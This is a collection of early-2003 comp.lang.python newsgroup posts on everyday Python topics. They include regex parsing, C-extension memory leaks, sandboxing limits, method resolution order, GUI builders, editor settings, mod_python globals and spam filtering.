References: <1964c4d7.0301130842.2f693958@posting.google.com>
Message-ID: <3E22F1CB.8050108@rogers.com>

You should really tell us what you are trying to do, as that seems like 
a pretty strange result to want (all of the strings, but going from 
after-string-start to either end-of-line or ',').  I'm guessing you're 
wanting something like: all of the "" quoted strings on each line. 
 Normally you'd use something like the comma-seperated-value module to 
load this kind of stuff, but if you want to see a minimal example:

import re
finder = re.compile( r'".*?"')

def getstrings( filename ):
    result = []
    for line in open(filename, 'r'):
        result.append( finder.findall( line ) )
    return result

I didn't test that, and it definitely doesn't handle escapes (i.e. \" 
inside a string), but that's a whole other realm of pain :) .  I'd guess 
the above'll be faster than looping over each character in Python.

HTH,
Mike  

Brian Kranson wrote:

>Is there a way I can make this small script any faster?  The file it
>reads in used to be only about a 100 lines and now it is well over
>2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
>advance - Bk
>  
>
...






From steffen.michael at imms.de  Tue Jan 21 10:51:00 2003
From: steffen.michael at imms.de (Steffen Michael)
Date: Tue, 21 Jan 2003 16:51:00 +0100
Subject: looking for FXPy-examples
Message-ID: <3E2D6C64.EBF7D200@imms.de>

Hi,
where could I find examples for the usage of the python to fox interface
(FXPy)?
thanks,
steffen




From claird at lairds.com  Sun Jan  5 07:37:48 2003
From: claird at lairds.com (Cameron Laird)
Date: Sun, 05 Jan 2003 12:37:48 -0000
Subject: Distributing Python apps
References: <GCEDKONBLEFPPADDJCOEIEDIHCAA.whisper@oz.net> <011501c2b456$b9dab320$e31afea9@normskrz> <mailman.1041730030.20806.python-list@python.org> <mMMR9.8668$8M3.1455029@news20.bellglobal.com>
Message-ID: <v1g9oscl97u07b@corp.supernews.com>

In article <mMMR9.8668$8M3.1455029 at news20.bellglobal.com>,
Norman Skrzypinski <zypin at sympatico.ca> wrote:
			.
			.
			.
>Let's try to design a way to fairly compensate the people who give us their
>best thoughts.
>
>Norm
>
>

Unsolicited personal opinion:  I have reservations
about whether c.l.p has a comparative advantage in
achieving that goal.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From fardal at corvus.phys.uvic.ca  Tue Jan 14 21:36:44 2003
From: fardal at corvus.phys.uvic.ca (Mark Fardal)
Date: 14 Jan 2003 18:36:44 -0800
Subject: Memory leak in TableIO?
References: <yj1hecb53d1.fsf@corvus.phys.uvic.ca> <c76ff6fc.0301141413.f0a1512@posting.google.com>
Message-ID: <yj1k7h7yw8z.fsf@corvus.phys.uvic.ca>

sjmachin at lexicon.net (John Machin) writes:
> At first glance, there are several instances of
> 
> status = PyList_Append( myList, PyFloat_FromDouble(atof(string)) );
> 
> This needs to be changed to
> 
> tmp_obj = PyFloat_FromDouble(atof(string)) );
> status = PyList_Append( myList, tmp_obj );
> Py_DECREF(tmp_obj);

I wondered about that...but thought perhaps the PyList_Append
decremented the object by itself.

> There may well be other leaks, there may well be other problems, but
> plugging the above leak of one Python float object per table element
> should get you a lot further ...

Yes indeed.  Do some of the calls to Py_BuildValue also leak memory?  
How about PyArg_ParseTuple?  PyArg_Parse?  But if so, those are still just 
memory leaks.  You pointed out a memory gush.

> You will notice that there is no error checking on the result of the
> PyFloat_FromDouble() call, presumably because atof() is expected to
> return a legal double even if the input string is not a valid
> representation of a floating-point number [see example below], and so
> the presumption is that PyFloat_FromDouble() cannot fail. However
> given your opening remark that you use this module "since it's very
> fast", this may not be a concern to you :-)

Well, not at the moment, since I know what is in my data files. :->
But good you pointed it out.  Is a PyFloat the same thing as a C double,
by the way?  Or is it machine dependent?  

thanks much,
Mark




From zenguyuno at yahoo.com  Mon Jan 27 12:57:20 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Mon, 27 Jan 2003 17:57:20 GMT
Subject: Please Recommend a C compiler for use with Python.
References: <3E35513E.6D5CE8B5@lvcm.com> <mailman.1043682834.15953.python-list@python.org> <b13r58$82q$04$2@news.t-online.com>
Message-ID: <3E357391.6BCE1A0C@lvcm.com>

"Martin v. L?wis" wrote:
> 
> Skip Montanaro wrote:
> >     z> I use a generic PC running Win 98.  What's a good, Easy-to-use and
> >     z> install, ANSI C compiler?  I might mention that I mainly want to
> >     z> extend Python by writing routines in C.
> >
> > You might try Cygwin.
> 
> I'm not so sure that this is a good choice when it comes to extending
> Python. If the standard Python distribution is to be extended, you
> really should use MSVC 6 (if you can still get copies of that).

Cygwin requires knowing Unix, right?  I don't know much Unix.
I do want to extend the standard Python distribution for Windows.

Thanks for the advice.

z

-- 
"The ad hominem argument is usually true." - Timin



From jack at performancedrivers.com  Fri Jan 24 13:13:11 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Fri, 24 Jan 2003 13:13:11 -0500
Subject: Sandboxing [Was Re: killing thread ?]
In-Reply-To: <20030124174424.GA15614@meson.dyndns.org>; from exarkun@intarweb.us on Fri, Jan 24, 2003 at 12:44:24PM -0500
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com> <20030124174424.GA15614@meson.dyndns.org>
Message-ID: <20030124131310.A18606@localhost.localdomain>

On Fri, Jan 24, 2003 at 12:44:24PM -0500, Jp Calderone wrote:
> On Fri, Jan 24, 2003 at 07:52:08AM -0800, Paul Rubin wrote:
> > Peter Hansen <peter at engcorp.com> writes:
> > > If you're worried about some kind of denial of service type
> > > thing with code written by someone else: you're out of luck.
> > > Don't use Python.  (Or, better yet, get over the worry and just
> > > accept this possibility.)
> > 
> > Wha?  Python provides the rexec and bastion modules specifically to
> > have a way to run hostile code in a sandbox.  So what kind of advice
> > is "don't use Python"?  If sandboxed code can be prevented from
> > accessing sensitive data or doing i/o, but can't be prevented from
> > looping unkillably, that's a bug in Python.
> 
>   Yes, that's why Python provides them.  But this misconception (that they
> work) is also why it will soon -not- provide them :P  And neither RExec nor
> Bastion ever protected you against "while 1: pass" or "100L ** 100L ** 100L
> ** 100L ** 100L".  It is currently not possible to write a secure sandbox in
> Python.  I'm not sure if you can call that a bug; it's certainly
> unfortunate.
> 

As has been said elsewhere, the correct [read: only way to do it realiably
without rewriting the language] way to do this is by using OS features.
Disk quotas, CPU quotas, chroot filesystems, apache configurations.

If you've ever worked on an LPC MUD or thought about implementing one
you have to deal with giving 'untrusted' users code-level access to the system.
You want to give them access to the codebase and at the same time not give
them a way to hack or DOS the system.  If anyone feels like implmenting
a setup like this, I'd be a giddy beta tester.  It would be a
combination of setup scripts (add_sanbox_user.p[ly]) that would be language
agnostic plus some language specific RPC libraries.

LPC didn't do it correctly, but it was close enough because coders
were 'trusted,' they had something to lose by exploiting the system so the
restrictions were mainly to prevent them from doing major damage.  Minor
but reversible damage was still possible.

-jackdied




From aycock at csg.cpsc.ucalgary.ca  Sat Jan  4 18:19:42 2003
From: aycock at csg.cpsc.ucalgary.ca (John Aycock)
Date: 4 Jan 2003 23:19:42 GMT
Subject: spark anyone?
References: <e34e8ce6.0301040212.7506b9a6@posting.google.com>
Message-ID: <av7q6e$5k5r7$1@news.cpsc.ucalgary.ca>

Domenico <grayshade at libero.it> wrote:
> Does anybody know anything about the fate of the SPARK parsing module?
> Has its development been discontinued?

No.  Mind you, it's not progressing quickly, but it is progressing :-)

John



From LogiplexSoftware at earthlink.net  Mon Jan 20 21:11:55 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 20 Jan 2003 18:11:55 -0800
Subject: license
In-Reply-To: <1043111108.32094.377.camel@software1.logiplex.internal>
References: <005e01c2c0df$b6ef47d0$63a09840@Arts>
	 <1043111108.32094.377.camel@software1.logiplex.internal>
Message-ID: <1043115115.32094.411.camel@software1.logiplex.internal>

On Mon, 2003-01-20 at 17:05, Cliff Wells wrote:

Sorry about the double-post.  This third one should make up for it.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From mertz at gnosis.cx  Sat Jan  4 02:36:07 2003
From: mertz at gnosis.cx (David Mertz)
Date: Sat, 04 Jan 2003 02:36:07 -0500
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org>
 <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org>
 <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org>
 <3e15fae2$1_2@news.bluewin.ch> <mailman.1041633502.6402.python-list@python.org>
 <3e161eb2$1_1@news.bluewin.ch>
Message-ID: <n7oF+kKkXMdN092yn@gnosis.cx>                       

"Samuele Pedroni" <pedronis at bluewin.ch> wrote previously:
|> Is there a (good) reason for this change, or could it be an artifact
|> of the alpha version?  I don't have 2.3 installed myself.
|See
|http://www.python.org/doc/2.3a1/whatsnew/node14.html

OK, I read the thread at:

    http://mail.python.org/pipermail/python-dev/2002-October/029035.html

I can now say with absolute certainty that -single- dispatch fills me
with Fear, Uncertainty, and Doubt.

Since the BDFL has spoken, I assume 2.3 is going with C3 MRO.  But I
don't like that.  I think it will be a wart for two reasons.  One is
that--in contrast to the so-called "naive ordering"--you cannot explain
C3 to anyone without making their brain explode.  In a way, the
consequences will be less surprising, but almost no one will be able to
comprehend exactly what the rule is.  That doesn't match my idea of
Python (it's not Lisp :-)).

But the idea of raising an error on inconsistencies also strikes me as a
wart for the same reason that I think the incommensurability of complex
numbers with other objects is a wart (and Python's biggest wart).  It is
a nod to purity over practicality.  Sure complex numbers aren't -really-
bigger or smaller than integers, but setting an (arbitrary)
well-ordering makes sorting easy.  Likewise, inconsistency in the class
graph isn't -really- well founded, but that's a fact about graph theory,
not about everyday programming.  In this case, I'd rather have something
that is unintuitive at the margins than I would an exception.

Oh well.  A lot fewer people will ever -notice- the MRO change than did
the complex comparisons.  So in a sense, my concern with "practicality"
is itself overly pure.

Yours, David...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From try_iwk at remov_try_vanderkleyn.com  Tue Jan 14 06:08:32 2003
From: try_iwk at remov_try_vanderkleyn.com (Iwan van der Kleyn)
Date: Tue, 14 Jan 2003 12:08:32 +0100
Subject: Boa vs. PythonCard
References: <pan.2002.12.02.21.04.52.49750.699@thomas-guettler.de>
Message-ID: <3E23EFB0.7080101@remov_try_vanderkleyn.com>

Thomas Guettler wrote:
> Up to now I mostly programmened commandline tools.
> But unfortunately you sometimes need GUIs.
> I looked around and found Boa and PythonCard. Can someone
> compare these two programms? How stable are they?

I posted a related question on this list a few days ago, unfortunately 
without an answer. I've been testing Boa Constructor for a few days and 
   consider it to be 'stable enough' for small(ler) programs. That is 
the version straight from CVS, not one of the downloads on sourceforge. 
Can't  give an opinion about really big projects, though. Boa 
COnsutrctor is remarkable feature complete, has sparse but good enough 
documentation and forms a complete IDE (including editor, CVS, debugger 
etc). I made a demo consisting of a few windows with multiple widgets 
and events and everything worked rather smoothly. The application 
crashed on me once but by saving often that's tolerable to me. There are 
still quirks and bugs but most will just show an exception in a window 
and the application keeps on working. On Linux there seem to be more 
glitches (open/save file dialog especially) but on Windows things worked 
quite well. For me it  a 'killer app' beause it makes working with 
wxPython so much easier so I decided to do my future work with Python on 
it. It may not be really 'production ready' but the advantages of using 
it far outweigh a crash or two.

I've tested Pythoncard a bit. Seems promising but it is far from usable 
for real production work as yet.

Regards,

Iwan





From gerrit at nl.linux.org  Tue Jan  7 14:18:22 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Tue, 7 Jan 2003 20:18:22 +0100
Subject: list comprehensions value assignment syntax error
Message-ID: <20030107191822.GA3891@nl.linux.org>

Hi,

I am trying to assign to a list item using list comprehensions, but this
raises a SyntaxError:

>>> [l[i] = chr(i) for i in range(256)]
   File "<stdin>", line 1
       [l[i] = chr(i) for i in range(256)]
	             ^
				 SyntaxError: invalid syntax

Why?

Do I really have to abandon list comprehensions or do this?:

>>> [l.__setitem__(i, chr(i)) for i in range(256)]

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From nhodgson at bigpond.net.au  Sat Jan 11 18:16:41 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Sat, 11 Jan 2003 23:16:41 GMT
Subject: Scintilla / Scite tabs formatting mystery.
References: <3th02v48lkh3rrf4lu5jlu6118jb8c9v7t@4ax.com>
Message-ID: <tB1U9.2282$UB4.11237@news-server.bigpond.net.au>

Dale Strickland-Clark:

> However, in spite of setting all style fonts to mono-spaced I can't
> get a tab to occupy the same width as 4 spaces. This means that text
> that lines up nicely in Scite is all to cock in other editors.
>
> I think I've set the tabs up right:
> # Indentation
> tabsize=4
> indent.size=4
> use.tabs=1

   They are the right settings.

> So that leaves the styles.
>
> This is the relevant extract from the Python.properties file:

   There is a global base style set in SciTEGlobal.properties called
style.*. For any style, style number 32 is the default style and is used to
calculate the width of a tab. Your problem is that you have style.*.32 and
hence style.python.32 set to the default Verdana 10 pt and want to have all
your text in the current monospace font, probably Courier New 10 pt. To set
the default Python style:

style.python.32=$(font.monospace)

   For a more global change, in the SciTEGlobal.properties file set

style.*.32=$(font.monospace)

   The whole scheme is a hierarchy that tries to allow fonts to be easily
changed globally but then be tweaked for particular styles.

   Why 32? Its historical and maybe spelling '32' as '*' would be more
sensible.

   Neil





From ykingma at accessforall.nl  Tue Jan 21 02:53:12 2003
From: ykingma at accessforall.nl (Ype Kingma)
Date: Tue, 21 Jan 2003 08:53:12 +0100
Subject: jythonc and xml parser
References: <3e2c7f97$0$246$cc9e4d1f@news.dial.pipex.com>
Message-ID: <3e2d0192$0$137$e4fe514c@dreader4.news.xs4all.nl>

Tim wrote:

> Hullo
> Has anyone managed to get an xml parser to work with jythonc?
> the simple program:
> from xml.sax import make_parser
> 
> parser = make_parser()
> 
> works in jython (but doesn't do much ;-) ). However, when built with:
> jythonc -c --jar a.jar <filename>
> and then run, it cannot find a parser (SAXReaderNotAvailable: No parsers
> found).

I don't know about xml.sax, but when the parsers are not loaded
by name, but eg. by using __import__() jythonc cannot know the
name of the parser module, so it cannot include it in it's output.
When that is the case, the solution is to import the module
explicitly somewhere in your program, so jythonc knows that it
should be included.
In your case, that would mean explicitly importing any parser
that your program my need.

Regards,
Ype

-- 
email at xs4all.nl



From rmunn at pobox.com  Thu Jan  9 17:58:00 2003
From: rmunn at pobox.com (Robin Munn)
Date: Thu, 09 Jan 2003 22:58:00 GMT
Subject: Why does this not work?
References: <2355358.1041918087@dbforums.com> <2356831.1041954395@dbforums.com>
Message-ID: <slrnb1rs83.6id.rmunn@rmunnlfs.dyndns.org>

Tetsuo <member16943 at dbforums.com> wrote:
> 
> Thanks.
> 
> Can you also help me figure out how to make it a real simulation of a
> circuit, so it would calculate the answers, not just use what I tell it?

I can't spend the time right now to do this in detail, but here are a
few ideas I had:

When you say "a circuit", how far down (conceptually) do you want to go?
All the way down to the level of transistors? That would make for a
really *hairy* simulation. :-) No, what you probably want is to go down
to the simulation of lgoc gates like "AND", "OR", "NAND", etc. In that
case, here's what I suggest.

Write a set of functions "gate_and(a,b)", "gate_or(a,b)", etc. Use some
prefix like gate_ to avoid a conflict with "and" and "or" which are
reserved words. Like so:

    def gate_and(a,b):
        return a and b

    def gate_or(a,b):
        return a or b

    def gate_nand(a,b):
        return not (a and b)

and so on. Then, to simulate the following circuit:

    A ---+--\
         |AND>--+--\
    B ---+--/   |   \
                |NAND>--- out
                |   /
    C ----------+--/

You would write something like this:

    out = gate_nand(c, gate_and(a,b))

Hope this gives you some ideas.

-- 
Robin Munn <rmunn at pobox.com>
http://www.rmunn.com/
PGP key ID: 0x6AFB6838    50FF 2478 CFFB 081A 8338  54F7 845D ACFD 6AFB 6838



From lakeofburningfire at kyle.orgdon'tspamme  Fri Jan 24 13:30:16 2003
From: lakeofburningfire at kyle.orgdon'tspamme (Kyle Yancey)
Date: Fri, 24 Jan 2003 18:30:16 GMT
Subject: Life cycle of a mod_python application and scope of global variables
References: <gmv23v0636f5lnod5efh7emoi4uao9275o@4ax.com>
Message-ID: <se133vsljkjfr89a240uqsm8vtvlbk6csb@4ax.com>

Correction.  The code should have been this.

#!/usr/bin/env python
from mod_python import apache

def handler(req):
   req.content_type = "text/plain" 
   req.send_http_header()
   req.write(i)
   i = i + 1
   return apache.OK


On Fri, 24 Jan 2003 18:13:49 GMT, Kyle Yancey
<lakeofburningfire at kyle.orgdon'tspamme> wrote:

>I've been trying out mod_python + apache + WinXP lately.  I was
>wondering if I could get some help clarifying a few things.
>
>My primary concern is with the lifespan of global variables.  As I
>understand it, in mod_python a global variable is initialized when the
>handler script is first started.  Global variables are not released
>when the instance of the script ceases, and the variable is
>essentially static and global for all instances of the handler script.
>
>example:
>
>#!/usr/bin/env python
>from mod_python import apache
>
>def handler(req):
>   req.content_type = "text/plain" 
>   req.send_http_header()
>   req.write(i)
>   return apache.OK
>
>
>
>Consecutive executions of this script will output
>1
>2
>3
>4
>5
>etc.
>
>Are global variables just shared between multiple threads, and should
>they be protected with mutexes to prevent race conditions.  I'm a bit
>confused about this since I'm just now learning about multithreading.
>I'm aware that the smart thing to do is to just not use them, but I
>hate being uncertain about what is going on.




From nav at adams.patriot.net  Thu Jan 23 22:50:50 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 23 Jan 2003 22:50:50 -0500
Subject: Books for newbies
References: <mailman.1043366266.11545.python-list@python.org>
Message-ID: <yyyadhrp5np.fsf@adams.patriot.net>

nooB!

Laura mentioned the Essential Python Reference, which is an excellent
reference and good for learning some of the standard library. I tend
to use the online docs when I can, since they're more up-to-date. So
despite being called a "Reference" I actually recommend it as a
learning tool. (Some people find reading catalogs of Python library
functions boring, but they're weird.)

Since you're familiar with programming and have (I assume) read the
standard-issue tutorial, I think the best book you could get is the
Python Cookbook. Read the first chapter all the way through for some
useful idioms and an introduction to pythonic approaches to
problems. Then pick a domain that interests you, skip to the
appropriate chapter, and dive in.  Try the recipes yourself, taste
them, grok them... It's inspirational reading.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')



From martin at v.loewis.de  Wed Jan  1 16:50:38 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 01 Jan 2003 22:50:38 +0100
Subject: Problems installing 2.2.1 and 2.2.2
In-Reply-To: <qp841vsvkg9bmlck9ovbpf0qghkk8l2a5s@4ax.com>
References: <qp841vsvkg9bmlck9ovbpf0qghkk8l2a5s@4ax.com>
Message-ID: <auvnrc$2ri$01$1@news.t-online.com>

RVD wrote:
> In file included from /usr/include/sys/select.h:31,
>                  from Include/pyport.h:119,
>                  from Include/Python.h:62,
>                  from Modules/python.c:3:
> /usr/include/selectbits.h:30: warning: `__FD_ZERO' redefined
> /usr/include/asm/posix_types.h:61: warning: this is the location of
> the previous definition

That is a bug in your C library: the kernel headers and the C library 
headers are conflicting. Are you sure you are still using the 
vendor-supplied headers? Have you applied all vendor patches for the C 
library headers?

This is significant problem, but not a fatal one: you should still be 
able to compile Python. Depending on how precisely those header files 
conflict, you resulting Python binary may or may not work.

> /usr/include/sys/select.h:48: conflicting types for `fd_set'
> /usr/include/linux/types.h:9: previous declaration of `fd_set'

This is more serious, but has essentially the same origin: conflicting 
header files. Either you have a *way* outdated C library, or you have 
modified the system headers: the C library headers are never supposed to 
include kernel headers.

> For each of the extentions, it disables them... making a less than
> useful python executable.

You could try to overcome this problem by editing Modules/Setup, thus 
avoiding that separate extensions are built.

Regards,
Martin




From tdunn at lynxxsolutions.com  Sat Jan 25 13:54:33 2003
From: tdunn at lynxxsolutions.com (Tony Dunn)
Date: Sat, 25 Jan 2003 18:54:33 GMT
Subject: Slurping Web Pages
Message-ID: <J3BY9.2087$Ec.128@nwrddc02.gnilink.net>

I've started a new project where I need to slurp web pages from a site that
use cookies to authenticate access.  I've used *urllib* in the past to grab
*public* web pages, but I'm not sure the best way to go about dealing with
the cookie issue.

I found some code to drive IE via COM, but I can't find a method to save the
current web page to a file so I can *slurp* it later.  I've wandered through
the file generated by makepy.py for the *Internet Control* COM object, but I
don't see what I'm looking for.  I know I can grab the files from the local
*Internet* cache, but I'd like the option to specify a file location and
file name for each page downloaded.

Has anyone done this with IE?

-Tony





From skip at pobox.com  Wed Jan 29 13:50:57 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 12:50:57 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <8PmcnYSYyZgOm6ujXTWcqg@comcast.com>
References: <mailman.1043707550.22103.python-list@python.org>
        <8PmcnYSYyZgOm6ujXTWcqg@comcast.com>
Message-ID: <15928.8849.345819.461301@montanaro.dyndns.org>

    Terry> 1. I understand the 'python' prefix for the environmental
    Terry>    variable (PYTHONBYTECODEBASE) but it seems unnecessary and
    Terry>    overdone for the sys attribute.  sys.bytecodebase is enough to
    Terry>    write already and is quite sufficient for identifying the
    Terry>    contents.

Point taken.  The change is in v. 1.7.

    Terry> 2. I am not familiar with all the os.path funcs.  If pcb is
    Terry>    C:/tem/py and I import sys, for instance, would it write
    Terry>    C:/tem/py/sys.pyc or C:/tem/py/..../.../sys.pyc?  One actual
    Terry>    example would be helpful.

There are several in the PEP (see the subsection titled "Examples" ;-).  The
answer is, the latter.  I clarified the examples in v. 1.7.  They all
mention "augmented directory", which is defined in the glossary at the
start, but the exact values it takes on should have been specified in the
examples.

    Terry> 3. This proposal changes behavior globally but does not address
    Terry>    the issue of doing so on a per file basis.

That's not the intent of this PEP.  It's hard for me to think of a use case
for module-by-module control over where to write .pyc files.  Can you
suggest one?

    Terry> 3b. A suggestion I sent to pydev (not sure if it arrived) would be
    Terry>     another .pyx extension such as .pyf for py-final, meaning
    Terry>     "this python code is the last (and only) version we want to
    Terry>     see on the file system -- do not write anything else -- .pyc,
    Terry>     .pyo, or any future version of processed code".

I don't remember this suggestion.  Still, what happens if foo.py is updated
and foo.pyf exists?  Do you always import from foo.py and never write the
byte code?

Skip




From donn at u.washington.edu  Fri Jan 24 19:20:12 2003
From: donn at u.washington.edu (Donn Cave)
Date: 25 Jan 2003 00:20:12 GMT
Subject: popen4 doesn't block?
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net>
Message-ID: <b0sl7s$33fc$1@nntp6.u.washington.edu>

Quoth Terry Hancock <hancock at anansispaceworks.com>:
...
| Which I *could* translate into python (with os.* calls), but would rather 
| leave as a shell script, since it's simpler that way.  So I have a data 
| structure in Python that defines my package and includes this script as a 
| string.  I then run the script using os.popen4, like this:
|
| i1f, o1f = os.popen4('tcsh')
| i1f.write(script)
| i1f.close()

I don't know that it will solve your problem - doesn't seem to
happen to me - but it would be simpler in some ways if you could
bring yourself to write the script out to disk and then invoke it
by file name.  Eliminates a pipe, and a potential deadlock with it.
Secondly, I think you would be better off to use 'sh' as the shell
(and of course use Bourne shell syntax in the shell commands --
">& megane.log" -> "> megane.log 2>&1".)  sh is universally supported
on UNIX and similar platforms, and it's ordinarily better software
than tcsh for anything but interactive use (if that.)

	Donn Cave, donn at u.washington.edu



From bokr at oz.net  Wed Jan 15 17:53:10 2003
From: bokr at oz.net (Bengt Richter)
Date: 15 Jan 2003 22:53:10 GMT
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042606406.22716.python-list@python.org>
Message-ID: <b04oom$5u5$0@216.39.172.122>

On Tue, 14 Jan 2003 23:52:13 -0500, Tim Peters <tim.one at comcast.net> wrote:
>
>figure-the-odds-ly y'rs  - tim

Part of figuring would be trusting the current crew, a no-brainer.

Next I would wonder if the PSF is an entity whose assets
can be transferred by sale or bankruptcy proceedings etc.
Is there a poison-pill for any would-be asset-seizer?

E.g., that might automatically convert to public domain,
or whatever freedom guarantees the legal types can think up?

Not that I'm worried, but ... ;-)

Regards,
Bengt Richter



From =?iso-8859-5?Q?=DF=D5=DD=D3=E3=D8=DD=D8=E1=E2=D0?= at =?iso-8859-5?Q?=DC=D0=D8=DB?=.=?iso-8859-5?Q?=DD=D5=E2?=.=?iso-8859-5?Q?=DC=DA?=  Tue Jan 21 10:21:19 2003
From: =?iso-8859-5?Q?=DF=D5=DD=D3=E3=D8=DD=D8=E1=E2=D0?= at =?iso-8859-5?Q?=DC=D0=D8=DB?=.=?iso-8859-5?Q?=DD=D5=E2?=.=?iso-8859-5?Q?=DC=DA?= (=?iso-8859-5?Q?=B4=D0=DC=F8=D0=DD_=B3=2E?=)
Date: Tue, 21 Jan 2003 16:21:19 +0100
Subject: parsing unclean MIME messages
Message-ID: <3e2d656f$1@news.mt.net.mk>

Is there a python module that will parse very broken MIME messages and
will extract and decode any attachments it can find. I've tried the
email package but it doesn't quite wotk on ditry messages.

I need this to catch email viruses.

-- 
??????

              To boldly go where I surely don't belong.




From davecook at nowhere.net  Sat Jan 25 23:42:04 2003
From: davecook at nowhere.net (David M. Cook)
Date: Sun, 26 Jan 2003 04:42:04 GMT
Subject: Generating Unique Keys
References: <mailman.1043511885.28833.python-list@python.org>
Message-ID: <slrnb36ppa.boo.davecook@localhost.localdomain>

In article <mailman.1043511885.28833.python-list at python.org>, Mongryong wrote:

> Is there python library for generating unique keys on Linux?  Something
> sort of like Window's HKEY generator.  Thanks.

Python Cookbook has several examples:

http://aspn.activestate.com/ASPN/Cookbook/Python

Dave Cook



From cnetzer at mail.arc.nasa.gov  Tue Jan  7 14:56:49 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 7 Jan 2003 11:56:49 -0800
Subject: iteration over methods
In-Reply-To: <v1lkl079pb5ib6@news.supernews.com>
References: <3E1AB7B3.4050404@aon.at> <v1lkl079pb5ib6@news.supernews.com>
Message-ID: <200301071956.LAA01307@mail.arc.nasa.gov>

On Tuesday 07 January 2003 05:14, John Roth wrote:
> "Oliver Vecernik" <vecernik at aon.at> wrote in message
> news:3E1AB7B3.4050404 at aon.at...

> >      def runallmethods(self):
> >          for func in dir(self):
> >              if func[0:4] == 'method':
                         ^^^
                         This will never be true.

should be func[0:6] or func[:6]

that said, I agree with John that looking in the unittest
module will be of interest.  In particular, the getTestCaseNames()
method, which works essentially the same way as yours (but uses
filter())

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From mertz at gnosis.cx  Tue Jan 14 14:50:53 2003
From: mertz at gnosis.cx (David Mertz)
Date: Tue, 14 Jan 2003 14:50:53 -0500
Subject: OT: spam filtering idea
References: <mailman.1042490665.8620.python-list@python.org>
 <b0138l$5t1$1@verence.demon.co.uk>
 <mailman.1042560986.4792.python-list@python.org>
 <7xznq3ps4s.fsf@ruckus.brouhaha.com>
Message-ID: <doGJ+kKkXAPV092yn@gnosis.cx>                       

Paul Rubin <phr-n2002b at NOSPAMnightsong.com> wrote previously:
|Does spambayes look at the charset?  I get tons of spam in korean
|characters.  Anything with charset="euc-kr" or "ks_c_5601-1987" etc.
|is just about certainly spam.

I have a custom filter setup on my machine.  It's a bit cobbled together
with duct tape and string, so I'm not exactly advocating it.  I should
probably start using spambayes, but I'd need to write some wrapper for
my particular use model.

What I do (in a Python script) is poll my POP3 mailbox intermittently,
and download the headers only.  If I decide something is definitely spam
based on the headers, I send a delete command, and never need to
download the whole message (i.e. a large virus body) with my regular
mail client.  I like this because the spam-killer script is completely
independent of which mail client I use.

I analyze the headers twice.  The first time looks for some values that
I manually entered, specific to header fields (e.g.  "URGENT ASSISTANCE"
in the Subject:).  Mostly I just started using this crude style first,
and didn't remove it.  But then I make a second pass using a
pseudo-Bayesian analysis of the *trigrams* in the header.  I think
trigrams work nicely for headers, which contain distinctive substrings,
but not so many whole words.  I wrote about this a bit at:

    http://www-106.ibm.com/developerworks/linux/library/l-spamf.html

One thing I look for in the first pass is several of those east Asian
charset strings.  The way I figure it, even though I might get perfectly
welcome mail from Korean correspondents, if they are encoded in Korean,
I can't read them anyway.  Of course, some people *do* read Korean (or
Chinese, Japanese, etc), so this filter clearly wouldn't work for them.

I've noticed, however, that the manual filters are usually redundant.
Almost everything that the patterns I hand coded catch are then also
caught by the trigram-bayes style.

Yours, David...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From mruiz at safa.es  Tue Jan 14 12:18:35 2003
From: mruiz at safa.es (Manuel Ruiz)
Date: Tue, 14 Jan 2003 18:18:35 +0100
Subject: base64.decodestring problem
Message-ID: <BE8173AF0001D611AA4E0000E219710263134D@zarnts>

Yes, I'm opening files in binary mode.

When I save the string that xmlrpclib give to me from base64.decodestring()
the file is bigger than the file that I get if I save the base64 string into
a file and I use base64.decode() for obtain the binary file. The second way
give to me correct files, first one give to me wrong files.

This matter only happen in Windows, in linux it is running fine.

Regards
Manuel

-----Mensaje original-----
De: Skip Montanaro [mailto:skip at pobox.com]
Enviado el: martes 14 de enero de 2003 17:28
Para: mruiz at safa.es
CC: python-list at python.org
Asunto: Re: base64.decodestring problem



    Manuel> I'm using base64 with xmlrpclib to implement a xmlrpc server.
    Manuel> The server is running fine, and the client under Linux/Solaris
    Manuel> run fine too.

    Manuel> However, the same client under Windows don't run correctly.

May sure you open the output file in binary mode on Windows.

Skip





